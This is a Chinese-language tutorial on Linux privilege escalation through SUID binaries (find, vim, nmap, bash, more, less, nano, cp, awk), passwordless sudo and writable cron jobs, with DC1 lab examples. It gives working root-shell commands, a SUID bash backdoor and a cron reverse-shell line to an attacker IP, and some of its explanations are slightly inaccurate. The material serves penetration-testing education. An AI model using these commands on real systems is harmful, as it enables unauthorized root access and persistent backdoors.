长亭百川云 - 文章详情

linux提权方法 (上)

LULU

42

2024-07-08

SUID配置错误提权

什么是suid

suid(set uid)是linux中的一种特殊权限,它允许一个程序在执行时临时拥有其所有者的权限。这种特性可以被用来进行权限提升,即在某些情况下,普通用户可以通过执行具有SUID权限的程序来获得更高权限,例如root权限。

SUID权限通常设置在二进制程序上,当设置了SUID权限的程序被执行时,执行者将获得该程序所有者的权限,直到程序执行完成。这可以用于合法的权限提升,比如让用户能够编辑一些需要特定权限的文件,但也可能被滥用来进行恶意的权限提升。

提权条件:

1、只有可以执行的二进制程序文件才能设定SUID权限  
2、SUID权限只在该程序执行过程中有效  
3、命令执行者对二进制程序文件有执行(x)权限

关于SUID权限的命令通常是使用chmod
命令,例如:

1、设置suid:chmod u+s file  
2、去除suid:chmod u-s file

如何查找suid文件

查找系统中具有SUID权限的文件,可以使用如下命令。例如:

find / -perm -u=s -type f 2>/dev/null  
find / -user root -perm -4000 -print 2>/dev/null  
find / -user root -perm -4000-exec ls -ldb {} \;

这里针对find / -perm -u=s -type f 2>/dev/null 命令解析

/表示从文件系统的顶部(根)开始并找到每个目录  
-perm 表示搜索随后的权限  
-u = s表示查找root用户拥有的文件  
-type表示我们正在寻找的文件类型  
f 表示常规文件,而不是目录或特殊文件  
2表示该进程的第二个文件描述符,即stderr(标准错误)  
>表示重定向  
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

以上的命令会搜索整个文件系统,找出所有设置了SUID权限的文件

以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。

具有suid权限的二进制可执行文件有:

nmap  
vim  
find  
bash  
more  
less  
nano  
cp  
awk

进行suid提权

find提权

这里以vulnhub 靶场DC1为例

find具有suid权限

用find执行命令,‐name参数填写真实存在的文件名flag4

find -name flag4 -exec "/bin/sh" -p \;  
  
/bin/bash -p:这是要执行的命令。/bin/bash 是一个常见的 Unix/Linux shell,而 -p 选项表示  
以特权(即以 root 用户)运行 bash。打开一个交互式 shell 环境,具有 root 用户权限。

还可以新建一个文件,使用find命令进行提权  
touch 1.txt #创建1.txt  
/usr/bin/find 1.txt -exec whoami \;

注:一定要保证‐name参数后的文件为真实存在的。

vim提权

Vim提权通常是指当Vim或其相关文件(如vim.basic
)被设置了SUID权限时,可以利用这个特性来获得更高权限,通常是root权限

利用Vim提权

1、使用具有SUID权限的vim.basic
编辑/etc/passwd
文件:

vim.basic /etc/passwd

在Vim中,你可以添加一个新的用户条目或修改现有用户条目的密码哈希,然后保存并退出。

2、创建新用户或修改密码:

在/etc/passwd
文件中添加如下格式的新用户:

其中$6$salt$hash
是使用openssl passwd -1 -salt salt
生成的密码哈希。

newuser:$6$salt$hash:uid:gid:GECOS:home:shell

3、切换到新用户:保存修改后的/etc/passwd
文件,并以新用户身份登录或使用su
命令切换到新用户。

nmap提权

Nmap 提权主要是利用 Nmap 旧版本中的交互模式,或者利用 Nmap 的 SUID 权限设置来进行权限提升

  1. 检查 Nmap 版本:首先需要确定 Nmap 的版本是否支持交互模式,通常在 Nmap 2.02 到 5.21 版本之间支持此模式。

    nmap -V
    
  2. 启动 Nmap 交互模式

    nmap --interactive
    
  3. 利用 SUID 权限提权:如果 Nmap 具有 SUID 权限,可以通过执行 nmap --interactive
    然后 !sh
    来获取 root 权限的 shell。

nmap> !sh  
sh-3.2# whoami  
root

bash提权

Bash 提权通常是指利用 Bash 脚本或 Bash 特殊技巧来获取更高级别的权限,尤其是在 Linux 或类 Unix 系统中

当 Bash 有 SUID 权限时,通过执行 bash -p
来尝试获取一个 root shell。这将使 Bash 以文件所有者的权限运行,如果文件所有者是 root,那么你就可能获得 root 权限

bash -p

这里仅介绍bash具有suid权限时的提权方式,bash提权还有滥用 sudo 权限计划任务提权等方式进行提权

more提权

more
提权通常是指利用 more
命令的交互功能来尝试获取一个更高权限的 shell,尤其是在 Linux 或类 Unix 系统中

1、使用它来执行其他需要高权限的命令。例如,通过执行 more /etc/passwd
来查看密码文件。

more /etc/passwd

2、然后在 more
提示符 :
下输入 !/bin/sh
来尝试获取一个 shell

!/bin/sh

less提权

less
提权是一种在Linux系统中利用具有SUID权限的less
程序,来尝试执行高权限命令的方法。如果less
命令具有SUID权限,那么它就可以被用来提权

1、如果less
具有SUID权限,你可以通过它来执行命令。首先,使用less
打开一个文件,例如/etc/passwd

less /etc/passwd

2、然后在 less 提示符
:下输入
!/bin/sh` 来尝试获取一个 shell

!/bin/sh

nano提权

nano
提权是一种在Linux系统中利用具有SUID权限的nano
文本编辑器来尝试获取更高权限的方法。如果nano
命令具有SUID权限,它就可以被用来提权。

1、如果nano
具有SUID权限,你可以通过它来执行命令。首先,使用sudo
加上具有SUID权限的nano
打开一个文件:

sudo /bin/nano

2、在nano
编辑器中,可以通过按下Ctrl + R
和Ctrl + X
来执行命令

Ctrl + R  
Ctrl + X

cp提权

如果cp
具有SUID权限,可以通过它来覆盖一些关键的系统文件或二进制文件,从而尝试获取更高权限

1、覆盖/bin/bash
来创建一个后门 ,这会创建一个具有SUID权限的bash副本

cp /bin/bash /tmp/bash  
chmod u+s /tmp/bash

2、执行/tmp/bash -p
可以获取一个root权限的shell

/tmp/bash -p

awk提权

awk
提权是一种在Linux系统中利用具有SUID权限的awk
程序来尝试执行高权限命令的方法。如果awk
命令具有SUID权限,它就可以被用来提权

sudo awk 'BEGIN {system("/bin/bash")}'

sudo提权

sudo
提权通常是指在Linux系统中,如果一个普通用户被授予了使用sudo
来执行某些命令的权限。

一般情况下,我们使用sudo命令都需要输入root密码

管理可能为了方便对/etc/sudoers进行编辑成sudo免密码 :

test ALL=(ALL:ALL) NOPASSWD:ALL  新增了一个test用户

切换到test用户, 不需要输入密码,且拥有root的权限

sudo su test

计划任务提权

计划任务提权是Linux系统提权的一种方法,它利用了系统中的定时任务(如cron作业)的配置不当或弱点来实现权限提升

1、查找计划任务:使用命令crontab -l
查看当前用户的cron作业,或使用ls -la /etc/cron.*
查看系统级别的cron作业配置文件

ls -l /etc/cron*  
cat /etc/crontab

2、分析计划任务的权限:检查cron作业文件的权限和所有者,如果某个作业文件权限较宽松(如权限为777),或者属于root,那么可能存在提权机会

3、编辑计划任务提权:如果发现可写的cron作业文件,尝试编辑该文件,添加执行恶意命令的行。例如,添加以下行来尝试反弹shell:

* * * * * /bin/bash -i >& /dev/tcp/192.168.111.5/1234 0>&1

其中192.168.111.5
和1234
分别是攻击者机器的IP地址和端口。

4、利用环境变量提权:某些cron作业可能通过环境变量执行命令,如果这些环境变量可以被修改,那么可以尝试添加恶意代码。例如:

SHELL=/bin/bash  
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/path/to/your/malicious/script

加下方wx,拉你一起进群学习

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2